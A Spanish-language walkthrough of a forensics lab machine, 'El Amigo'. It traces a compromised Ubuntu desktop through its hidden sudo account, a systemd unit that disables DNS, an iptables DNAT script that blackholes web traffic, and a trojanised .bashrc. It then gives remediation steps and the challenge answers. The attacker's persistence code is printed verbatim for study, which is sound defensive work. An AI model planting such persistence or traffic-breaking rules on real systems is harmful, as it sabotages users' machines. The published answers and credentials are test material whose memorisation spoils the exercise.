El Amigo
Máquina: The Hackers Labs — El Amigo Sistema operativo objetivo: Ubuntu 24.04 (escritorio, no servidor) Tipo de reto: Análisis forense / Respuesta a incidentes (DFIR) — no es un reto de explotación Credenciales de partida: jony:jony2025 (entregadas directamente por el creador de la máquina)
Esta máquina es distinta a todas las anteriores de la serie: no hay que “hackear” nada para entrar — te dan las credenciales del usuario legítimo desde el principio. El ejercicio real es otro: el ordenador de “el amigo” fue comprometido (instaló un falso programa de descuentos) y tu trabajo es investigar como perito forense qué hizo el atacante, encontrar su persistencia, y explicar por qué “no funciona internet”. No hay user.txt/root.txt tradicionales — el “objetivo” son las respuestas a un cuestionario técnico sobre lo que encuentres.
Resumen de respuestas (las “flags” de esta máquina)
| Pregunta | Respuesta |
|---|---|
| Nombre del servicio malicioso | che.service |
| Cuántos usuarios creó el atacante | 52 (51 señuelo challangue00–challangue50 + 1 oculta con privilegios challangue1O — letra O mayúscula, no el número cero) |
| UID/GID de la cuenta con privilegios | 65000/65000 |
| Script desde el que se redirige el tráfico | redirect.sh |
| IP a la que se redirige el tráfico | 0.0.0.0 |
Herramientas necesarias
Todo viene ya en Kali. Lo único no obvio: necesitarás un cliente VNC (xfreerdp3, vncviewer) — aunque, como se explica más abajo, terminamos sin usarlo directamente.
Fase 0 — Descomprimir y leer lo que trae el paquete
Esta vez el .zip trae tres archivos, no solo el .ova:
unzip "The Hackers Labs - El amigo.zip"login.txt -> credenciales
The Hackers Labs - El amigo.ova -> la máquina virtual
The Hackers Labs - El amigo.pdf -> la narrativa/contexto del reto
cat login.txt
# user: jony
# passwd: jony2025El PDF es la “lore” del reto: tu amigo instaló un supuesto programa de descuentos, ahora “no funciona internet”, y tienes que ir a su casa a arreglarlo. Es puramente narrativo, pero confirma el tipo de investigación que toca hacer.
Fase 1 — Montar la máquina virtual
Igual que siempre:
VBoxManage import "The Hackers Labs - El amigo.ova" --vsys 0 --vmname "TheHackersLabs-ElAmigo"
VBoxManage modifyvm "TheHackersLabs-ElAmigo" --nic1 hostonly --hostonlyadapter1 vboxnet0
VBoxManage startvm "TheHackersLabs-ElAmigo" --type headlessFase 2 — Reconocimiento de red: aquí no hay nada
nmap -p- --min-rate 3000 -Pn 192.168.56.106Resultado:
All 65535 scanned ports on 192.168.56.106 are in ignored states.
Ni un solo puerto abierto. Nada de SSH, nada de HTTP. Esto tiene sentido: es el ordenador de escritorio de un usuario normal, no un servidor — no tiene por qué exponer ningún servicio de red. Las credenciales de login.txt sirven para entrar a la sesión local del escritorio, no por SSH.
Conclusión práctica: hay que interactuar con la máquina a través de su consola gráfica, como si estuvieras físicamente delante de ella.
Fase 3 — Acceder a la consola sin monitor físico: VRDE
¿Qué es VRDE?
VirtualBox puede exponer la consola gráfica de una VM headless (sin ventana) como un servidor de escritorio remoto, para que te conectes con un cliente RDP o VNC desde fuera. Esto se llama VRDE (Virtual Remote Desktop Extension).
Primer intento (RDP) — falla
VBoxManage controlvm "TheHackersLabs-ElAmigo" vrde on
xfreerdp3 /v:127.0.0.1:3389 /cert:ignoreResultado: error de conexión (ERRCONNECT_CONNECT_TRANSPORT_FAILED). La causa: el soporte de RDP real en VirtualBox requiere el Oracle VirtualBox Extension Pack (de pago/con licencia especial), que no estaba instalado.
VBoxManage list extpacks
# Solo aparece instalado: "VNC" (módulo VBoxVNC) — no el de RDPSegundo intento (VNC vía el módulo VRDE) — funciona
Como sí había un módulo VNC instalado, se reconfigura VRDE para usarlo en vez de RDP. Ojo: esta propiedad concreta (--vrdeextpack) exige la VM apagada:
VBoxManage controlvm "TheHackersLabs-ElAmigo" poweroff
VBoxManage modifyvm "TheHackersLabs-ElAmigo" --vrde on --vrdeextpack VNC \
--vrdeport 5901 --vrdeaddress 127.0.0.1 --vrdeauthlibrary null
VBoxManage startvm "TheHackersLabs-ElAmigo" --type headlessEn este punto ya se podría usar vncviewer 127.0.0.1:5901 con un entorno gráfico. Pero en una terminal sin entorno gráfico (como este), hay una vía más directa: usar las capacidades nativas de VBoxManage para tomar capturas de pantalla y enviar pulsaciones de teclado, sin necesitar ningún cliente VNC/RDP en absoluto.
Ver la pantalla sin cliente gráfico
VBoxManage controlvm "TheHackersLabs-ElAmigo" screenshotpng /tmp/pantalla.pngCada vez que se necesite ver el estado actual, se repite este comando y se abre el PNG resultante.
Enviar pulsaciones de teclado
VBoxManage controlvm "TheHackersLabs-ElAmigo" keyboardputscancode <scancodes>Cada tecla tiene un par de códigos: uno de pulsación (make) y otro de liberación (break, que es el mismo código +0x80 en hexadecimal). Para combinaciones (Ctrl+Alt+T), se envían todas las pulsaciones seguidas de todas las liberaciones en orden inverso:
# Ctrl+Alt+T (abrir terminal en GNOME)
VBoxManage controlvm "TheHackersLabs-ElAmigo" keyboardputscancode 1d 38 14 94 b8 9d
# ^Ctrl^Alt^T ^T ^Alt^Ctrl
# (make) (break, orden inverso)En este caso concreto ni siquiera hizo falta: al arrancar, la pantalla se quedó “congelada” visualmente en el logo de arranque de Ubuntu (un problema de refresco del framebuffer con VBoxVNC, no un cuelgue real) — bastó con cualquier pulsación para que se refrescara la imagen y apareciera el escritorio ya cargado.
Fase 4 — El descubrimiento que simplifica todo: Guest Additions ya instaladas
Al llegar al escritorio apareció una notificación: “VirtualBox Guest Additions update available! … version 7.1.6”. Esto es una gran noticia: significa que se puede usar VBoxManage guestcontrol, que permite ejecutar comandos dentro de la VM directamente desde el host, sin necesitar interactuar con la GUI en absoluto — mucho más rápido y fiable que simular clics y teclas.
VBoxManage guestcontrol "TheHackersLabs-ElAmigo" run \
--username jony --password jony2025 \
--exe /usr/bin/id -- La sintaxis de guestcontrol run — el detalle que cuesta pillar
--exe <ruta> indica qué binario ejecutar. Todo lo que va después de -- son los argumentos reales que recibe ese programa — no hay que repetir el nombre del programa ahí.
# MAL — repite el programa como argumento, confunde al programa
VBoxManage guestcontrol "VM" run --exe /bin/bash -- /bin/bash -c "id"
# "no se puede ejecutar el archivo binario"
# BIEN — solo los argumentos reales tras --
VBoxManage guestcontrol "VM" run --exe /bin/bash -- -c "id"Con esto, cualquier comando se ejecuta así:
VBoxManage guestcontrol "TheHackersLabs-ElAmigo" run \
--username jony --password jony2025 --exe /bin/bash -- -c "COMANDO AQUI"Y para comandos que necesitan privilegios (recordemos que jony puede hacer sudo, con la misma contraseña):
... -c "echo jony2025 | sudo -S bash -c 'COMANDO_COMO_ROOT'"Fase 5 — Investigación forense, paso a paso
5.1 Revisar /etc/passwd en busca de cuentas anómalas
sudo -S bash -c "cat /etc/passwd"Aparecen 51 cuentas con un patrón idéntico y sospechoso: challangue00 hasta challangue50 (UID 1001 a 1051, secuenciales — típico de una creación automatizada/masiva por un atacante para camuflar su verdadera cuenta entre “ruido”). Y, al final de la lista, una que casi pasa desapercibida:
challangue1O:x:65000:65000::/home/.hidden_challangue1O:/bin/bash
Tres señales de alarma en una sola línea: 1. El nombre usa una letra “O” mayúscula en vez de un cero (challangue1O vs. challangue10) — un truco de “typosquatting” para camuflarse a simple vista entre las 51 cuentas señuelo. 2. UID/GID 65000 — muy fuera del rango secuencial (1001-1051) del resto. 3. Directorio personal oculto: /home/.hidden_challangue1O (el punto inicial lo esconde de un ls normal).
5.2 Comprobar privilegios: grupos
sudo -S grep challangue1O /etc/groupsudo:x:27:jony,challangue1O
challangue1O:x:1052:
La cuenta oculta pertenece al grupo sudo — privilegios de administrador completos.
5.3 Buscar grupos ocultos
sudo -S awk -F: '($3>1000)||($3==27)' /etc/groupEntre el ruido de los 51 grupos challangueXX (uno por cada cuenta señuelo), aparece:
hidden_group:x:65000:
Coincide exactamente con el GID de challangue1O — es su grupo primario, literalmente llamado “hidden_group”.
5.4 Buscar servicios systemd sospechosos
sudo -S systemctl list-units --type=service --allEntre el listado (filtrando servicios estándar de Ubuntu por nombre), destaca:
● che.service failed failed Disable DNS on boot
Un nombre corto, no descriptivo, con una descripción reveladora. Se examina su definición completa:
sudo -S systemctl cat che.service# /etc/systemd/system/che.service
[Unit]
Description=Disable DNS on boot
After=network.target
[Service]
ExecStart=/bin/bash -c 'sed -i "s/^nameserver /#nameserver /g" /etc/resolv.conf'
Restart=always
[Install]
WantedBy=multi-user.targetPor qué es sospechoso, punto por punto: - Vive en /etc/systemd/system/ (definiciones manuales, fuera del árbol /usr/lib/systemd/system/ que gestionan los paquetes .deb oficiales). - WantedBy=multi-user.target + está enabled → se ejecuta automáticamente en cada arranque. - Restart=always → si algo lo detiene, systemd lo vuelve a lanzar solo, una y otra vez (mecanismo de persistencia agresivo). - Su única función es comentar la línea nameserver de /etc/resolv.conf, dejando el sistema sin poder resolver nombres de dominio — DNS roto a propósito.
5.5 Buscar los scripts que rompen la red
Se investiga el contenido del directorio personal oculto:
sudo -S ls -la /home/.hidden_challangue1O/-rwxr-xr-x 1 root root 167 mar 10 2025 redirect.sh
sudo -S cat /home/.hidden_challangue1O/redirect.sh#!/bin/bash
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 0.0.0.0
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 0.0.0.0¿Qué hace exactamente este script?
iptables -t nat manipula las reglas de traducción de direcciones de red del kernel. DNAT (Destination NAT) reescribe la dirección de destino de un paquete antes de que salga de la máquina. Aquí, cualquier conexión saliente a los puertos 80 (HTTP) y 443 (HTTPS) — es decir, prácticamente toda la navegación web — se reescribe para apuntar a 0.0.0.0, una dirección que no corresponde a ningún host real. El resultado: el navegador intenta conectar, pero el paquete nunca llega a ningún sitio. Así es como “se rompió internet”.
Se confirma que las reglas siguen activas en el sistema real:
sudo -S iptables -t nat -L -n -vChain OUTPUT (policy ACCEPT 3 packets, 467 bytes)
pkts bytes target prot opt in out source destination
0 0 DNAT 6 -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 to:0.0.0.0
0 0 DNAT 6 -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:443 to:0.0.0.0
5.6 Persistencia adicional: el .bashrc del propio usuario, troyanizado
Comparando el .bashrc de jony con el de la cuenta señuelo challangue1O (por curiosidad, para ver si compartían algo):
sudo -S diff /home/jony/.bashrc /home/.hidden_challangue1O/.bashrcAl final del .bashrc de jony (el usuario legítimo) aparecen dos líneas que no deberían estar ahí:
sudo /home/.hidden_challangue1O/redirect.sh &
disownEsto es clave: aunque alguien arregle manualmente las reglas de iptables (iptables -t nat -F), en cuanto jony abra una nueva terminal, este fragmento se ejecuta de nuevo automáticamente y las vuelve a romper. disown hace que el proceso en segundo plano sobreviva aunque se cierre la terminal que lo lanzó, para que pase más desapercibido en un ps casual.
5.7 Comprobaciones adicionales (sin hallazgos, pero forman parte de una investigación completa)
sudo -S cat /root/.ssh/authorized_keys # vacío — sin clave SSH de persistencia
sudo -S crontab -l -u root # sin crontab
sudo -S cat /etc/crontab # solo entradas estándar de Ubuntu
sudo -S ls -la /etc/cron.d/ # solo paquetes oficiales
ls -la /tmp /dev/shm /var/tmp # sin binarios ni scripts sueltos
ps auxf # sin procesos ajenos al sistema en ejecuciónDocumentar también lo que no se encontró es parte de un informe forense serio: descarta otras vías de persistencia (claves SSH, tareas programadas, binarios en /tmp) y deja claro que el compromiso se limita a lo ya identificado.
Fase 6 — Responder el cuestionario
Con todo lo anterior, las respuestas salen directas:
| Pregunta | Cómo se obtiene | Respuesta |
|---|---|---|
| Nombre del servicio malicioso | systemctl list-units → che.service |
che.service |
| Cuántos usuarios creó el atacante | 51 cuentas challangue00–challangue50 + 1 cuenta privilegiada challangue1O (con O mayúscula) |
52 |
| UID/GID de la cuenta con privilegios | Columna 3/4 de /etc/passwd para challangue1O |
65000/65000 |
| Script desde el que se redirige el tráfico | Nombre de archivo (sin ruta) hallado en el home oculto | redirect.sh |
| IP a la que se redirige el tráfico | Parámetro --to-destination de las reglas iptables |
0.0.0.0 |
Fase 7 — Remediación (cómo se arregla de verdad)
Para dejar la máquina de “el amigo” limpia y funcionando, con jony autenticado:
# 1. Eliminar las reglas de red maliciosas
sudo iptables -t nat -F OUTPUT
# 2. Detener y deshabilitar el servicio malicioso, y borrar su definición
sudo systemctl stop che.service
sudo systemctl disable che.service
sudo rm /etc/systemd/system/che.service
sudo systemctl daemon-reload
# 3. Restaurar la resolución DNS (quitar el "#" que comentó la línea)
sudo sed -i 's/^#nameserver /nameserver /g' /etc/resolv.conf
# 4. Eliminar la cuenta y el grupo oculto del atacante (y su home)
sudo userdel -r challangue1O
sudo groupdel hidden_group 2>/dev/null # por si no se borró junto con el usuario
# 5. (Opcional, según política) eliminar también las 51 cuentas señuelo
for i in $(seq -w 0 50); do sudo userdel -r "challangue$i" 2>/dev/null; done
# 6. Limpiar la persistencia en el .bashrc de jony
sudo sed -i '/hidden_challangue1O\/redirect.sh/d; /^disown$/d' /home/jony/.bashrcTras esto, abrir una terminal nueva y comprobar que ya no aparece nada raro en iptables -t nat -L, que che.service ya no existe, y que la navegación funciona de nuevo.
Resumen de la investigación
Sin puertos de red abiertos -> hay que trabajar por consola local
│
▼
VRDE con módulo VNC (no había Extension Pack de RDP)
-> VBoxManage screenshotpng / keyboardputscancode para ver y despertar la pantalla
│
▼
Guest Additions ya instaladas -> VBoxManage guestcontrol run (mucho más práctico)
│
▼
/etc/passwd: 51 cuentas señuelo "challangueXX" + 1 oculta "challangue1O"
(typosquatting O/0, UID/GID 65000 fuera de rango, home oculto)
│
▼
/etc/group: challangue1O en el grupo "sudo" + grupo propio "hidden_group"
│
▼
systemd: "che.service" (fuera del árbol de paquetes, enabled, Restart=always)
-> deshabilita DNS en cada arranque
│
▼
Home oculto del atacante: "redirect.sh" (propiedad de root)
-> iptables DNAT de los puertos 80/443 hacia 0.0.0.0
│
▼
.bashrc de jony troyanizado -> relanza redirect.sh en cada terminal nueva
│
▼
Cuestionario respondido + remediación aplicada
Causas raíz y mitigación
| Debilidad | Mitigación recomendada |
|---|---|
| Usuario ejecutó un instalador de procedencia no verificada (“de confianza, creo…”) | Formación básica de concienciación: solo instalar software desde fuentes oficiales; desconfiar de “descuentos” que piden ejecutar instaladores |
| El instalador corrió con privilegios suficientes para crear usuarios y grupos del sistema | Ejecutar instaladores de terceros sin privilegios de administrador siempre que sea posible; revisar qué permisos pide un instalador antes de aceptarlos |
Cuenta con privilegios sudo creada sin ningún control ni alerta |
Auditoría periódica de /etc/passwd, /etc/group y del grupo sudo; alertas automáticas ante la creación de nuevas cuentas con privilegios |
Unidad systemd personalizada instalada sin firma ni control de integridad |
Restringir quién puede escribir en /etc/systemd/system/; monitorización de integridad de archivos (AIDE, Tripwire) sobre esa carpeta |
Persistencia en el .bashrc del usuario legítimo |
Los archivos de perfil del usuario (.bashrc, .profile) deberían ser de solo lectura salvo por el propio usuario, y revisados tras cualquier incidente sospechoso |
Sin registro/alerta de los cambios en iptables |
Registrar cambios en las reglas de firewall; usar iptables-persistent con una copia de referencia conocida para detectar desviaciones |
«El hombre es una criatura que se acostumbra a todo, y creo que esa es la mejor definición que se puede dar de él.»
— Fiódor Dostoyevski, Memorias de la casa muerta
